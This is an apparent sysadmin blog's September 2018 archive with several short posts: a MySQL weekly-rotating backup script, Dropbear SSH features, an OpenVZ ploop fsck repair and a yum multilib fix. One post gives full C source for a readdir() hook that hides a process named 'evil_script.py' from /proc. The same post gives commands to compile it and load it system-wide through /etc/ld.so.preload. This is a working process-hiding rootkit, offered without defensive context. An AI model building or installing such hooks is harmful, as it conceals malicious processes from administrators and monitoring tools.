Monthly Archives: September 2018

mysql daily backup 7 days


mkdir -vp /backups/databases
vi /some/path/make_db_back.sh

#!/bin/bash

week_day=`date +%u`
back_dir=/backups/databases/$week_day

if [ -d "$back_dir" ]; then
rm -rvf $back_dir
fi

mkdir $back_dir
mysql -s -e 'show databases' | egrep -v "mysql|information_schema|performance_schema" > /root/db_list
cat /root/db_list | while read db; do mysqldump -h localhost --single-transaction --events $db > $back_dir/$db.$(date +'%F').sql; sleep 5 ; done
gzip $back_dir/*.sql
rm -f /root/db_list

Run every day cron:

crontab -e
0 10 * * * /some/path/make_db_back.sh

modify the readdir() function inside libc and input the code to exclude the access to some /proc files

#define _GNU_SOURCE

#include
#include #include
#include
#include

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

Download

gcc -Wall -fPIC -shared -o some_name.so some_name.c -ldl
echo some_name.so >> /etc/ld.so.preload

Dropbear SSH

A small memory footprint suitable for memory-constrained environments – Dropbear can compile to a 110kB statically linked binary with uClibc on x86 (only minimal options selected)
Dropbear server implements X11 forwarding, and authentication-agent forwarding for OpenSSH clients
Can run from inetd or standalone
Compatible with OpenSSH ~/.ssh/authorized_keys public key authentication
The server, client, keygen, and key converter can be compiled into a single binary (like busybox)
Features can easily be disabled when compiling to save space
Multi-hop mode uses SSH TCP forwarding to tunnel through multiple SSH hosts in a single command. dbclient user1@hop1,user2@hop2,destination

Error in e2fsck (fsutils.c:288): e2fsck failed (exit code 4)

vzctl mount XXXX
Opening delta /vz/private/XXXX/root.hdd/root.hdd
Adding delta dev=/dev/ploopXXXX img=/vz/private/XXXX/root.hdd/root.hdd (rw)

/dev/ploop15649p1: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
(i.e., without -a or -p options)
Error in e2fsck (fsutils.c:288): e2fsck failed (exit code 4)

Failed to mount image: Error in e2fsck (fsutils.c:288): e2fsck failed (exit code 4)
[41]

ploop check -F /vz/private/CID/root.hdd/root.hdd
ploop mount /vz/private/CID/root.hdd/DiskDescriptor.xml
fdisk -l /dev/ploopXXXXX
e2fsck -y /dev/ploopXXXX

ploop umount /vz/private/XXXX/root.hdd/DiskDescriptor.xm

Error: Multilib version problems found. This often means that the root cause is something else and multilib version checking is just pointing out that there is a problem

–> Finished Dependency Resolution
Error: Multilib version problems found. This often means that the root
cause is something else and multilib version checking is just
pointing out that there is a problem. Eg.:

1. You have an upgrade for e2fsprogs-libs which is missing some
dependency that another package requires. Yum is trying to
solve this by installing an older version of e2fsprogs-libs of the
different architecture. If you exclude the bad architecture
yum will tell you what the root cause is (which package
requires what). You can try redoing the upgrade with
–exclude e2fsprogs-libs.otherarch … this should give you an error
message showing the root cause of the problem.

2. You have multiple architectures of e2fsprogs-libs installed, but
yum can only see an upgrade for one of those arcitectures.
If you don’t want/need both architectures anymore then you
can remove the one with the missing update and everything
will work.

3. You have duplicate versions of e2fsprogs-libs installed already.
You can use “yum check” to get yum show these errors.

…you can also use –setopt=protected_multilib=false to remove
this checking, however this is almost never the correct thing to
do as something else is very likely to go wrong (often causing
much more problems).

Protected multilib versions: e2fsprogs-libs-1.41.12-24.el6.i686 != e2fsprogs-libs-1.42.6-1.el6.x86_64
Error: Protected multilib versions: libcom_err-1.42.6-1.el6.x86_64 != libcom_err-1.41.12-24.el6.i686

Fix:

yum –disablerepo=* –enablerepo=base update